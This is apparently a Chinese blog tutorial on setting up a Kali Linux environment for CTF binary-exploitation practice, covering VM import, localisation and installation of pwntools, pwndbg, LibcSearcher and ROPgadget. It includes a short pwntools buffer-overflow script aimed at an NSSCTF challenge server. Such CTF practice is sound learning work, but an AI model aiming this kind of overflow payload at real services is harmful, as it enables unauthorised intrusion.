CTF-PWN环境搭建手册
工欲善其事必先利其器，作为一名CTF的pwn手，一定要有自己的专用解题环境。本文将详细记录kali下的pwn解题环境的安装过程，B站也会配备配套视频。
目录
安装前的准备工作
虚拟机环境编辑
VM版本安装教程
1. 下载Kali的VM虚拟机文件
2. 新建一个空白文件夹
3. 解压压缩包
4.打开VMware WorkStation
编辑 5. 配置虚拟机的硬件
6.启动虚拟机
7.kali汉化步骤
编辑
8.换源！
9.中文输入法安装
pwn环境安装
1.pwntools安装
1、安装指令
2、测试checksec
3、测试pwntools
2.gdb动态调试安装
1、原生gdb安装
2、pwndbg安装
3、测试安装
编辑
3.LibcSearcher安装
4.ROPGadget安装
安装前的准备工作
虚拟机环境
VMware WorkStation
VM版本安装教程
1. 下载Kali的VM虚拟机文件
Kali的VM虚拟机文件
Kali的VM虚拟机文件可在Kali官网下载
kali官网
Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution
左侧Installer Images为光盘镜像文件，右侧Vitrual Machines是我们这次下载的VM虚拟机文件
点击这里下载
最后得到压缩包
2. 新建一个空白文件夹
找一个空间大点的盘，新建这个文件夹，命名就叫Kali好了
3. 解压压缩包
把第一步下载的VM虚拟机文件，解压到当前目录下
对着文件右键解压文件，选中你创建的文件夹。
等待解压完成
解压完成会得到
4.打开VMware WorkStation
点击打开虚拟机
选中文件中的这个
5. 配置虚拟机的硬件
打开虚拟机之前，需要调整硬件设置
点击编辑虚拟机设置
内存设置，电脑本机的内存的一半即可。
处理器1就行。核取一半（up的CPU只有8核）
硬盘其实60G就完全够用
配置完成记得点击确认保存
6.启动虚拟机
由于这个是配置好的，所以默认密码是kali/kali
登录之后的样子，全英文有点难受
7.kali汉化步骤
全英文怎么玩！！！给我汉化
右键Kali的桌面，点击Open Terminal Here（在此处打开控制台）
输入指令
一、进入root模式
sudo -i #指令输入后，会要求输入kali的密码，也就是kali。注意，kali输密码光标是不会动的哦！ 
已经入root模式就是红红的
二、更新源（不是换源！）
apt-get update看到这烦人的下载速度没，这就提醒你该换源（下载服务器）了 ，CTRL+C结束，然后先去第8步换源吧
三、设置系统语言
sudo dpkg-reconfigure locales
下方向键一直按着
按到看到zh_CN
选中了之后，不要按回车！！！！！！
先按空格！！！！变成星星，我已踩坑
回车，如果没有zh_cn，证明没听我话，退回去重新操作就行
回车，接下里让它自己跑
重启系统应用汉化
reboot这个不建议改成汉化的，因为经常要访问 ，英文路径好打
8.换源！
我看这篇写的挺好，那我就偷懒了，记得阿里和清华一起上
Kali 更换源（超详细，附国内优质镜像源地址）_kali换源-CSDN博客
9.中文输入法安装
1.打开终端，输入以下命令：root权限哦
apt-get install ibus ibus-pinyin 
记得点Y
reboot #重启右上角切换
pwn环境安装
1.pwntools安装
1、安装指令
进入root
sudo -i安装指令
sudo pip3 install pwntools
2、测试checksec
测试题目位置
NSSCTF | 在线CTF平台
把附件拖到kali中，重命名为pwn1，方便写指令。指令要在桌面路径执行哦。
checksec pwn13、测试pwntools
from pwn import *
xianyufen=remote("node1.anna.nssctf.cn",28029)#按照服务器地址和端口更改
payload=b'a'*0x2C+p64(0x41348000)
xianyufen.send(payload)
xianyufen.interactive()
我的是这样的
from pwn import *
xianyufen=remote("node4.anna.nssctf.cn",28492)#按照服务器地址和端口更改
payload=b'a'*0x2C+p64(0x41348000)
xianyufen.send(payload)
xianyufen.interactive()
在桌面用指令建一个python脚本
vim attack.py 然后就可以右键编辑了，用Mousepad打开
指令粘贴进去
控制台运行一下
python3 attack.py
再输个ls，即可看到flag，工具已正常安装
2.gdb动态调试安装
1、原生gdb安装
sudo apt install gdb
2、pwndbg安装
访问github，获取安装指令
GitHub - pwndbg/pwndbg: Exploit Development and Reverse Engineering with GDB Made Easy
安装指令
# 下载仓库
git clone https://github.com/pwndbg/pwndbg会得到pwndbg项目文件夹
# 移动到文件夹下
cd pwndbg# 可以用ls看一下当前目录下的文件
# 启动安装脚本
./setup.sh安装时间会有点久
3、测试安装
cd ../ #回到桌面gdb pwn1 #上一节的栈文件,拿来测试
显示的是pwndbg就对了,打个断点玩一下
b main #main函数打个断点
quit #退出温馨提示：pwndbg那个文件夹别删除！
3.LibcSearcher安装
旧版LibcSearcher 安装发现报错 GitHub - lieanu/LibcSearcher: glibc offset search for ctf.
更换别的版本
项目地址如下：https://github.com/dev2ero/LibcSearcher
安装指令
pip3 install LibcSearcher代替在线工具
4.ROPGadget安装
sudo pip install capstone正常应该是successfully，但我这里好像在前面已经装好了
载项目
git clone https://github.com/JonathanSalwan/ROPgadget.git
移动至项目文件夹下
cd ROPgadget 
安装指令
sudo python3 setup.py install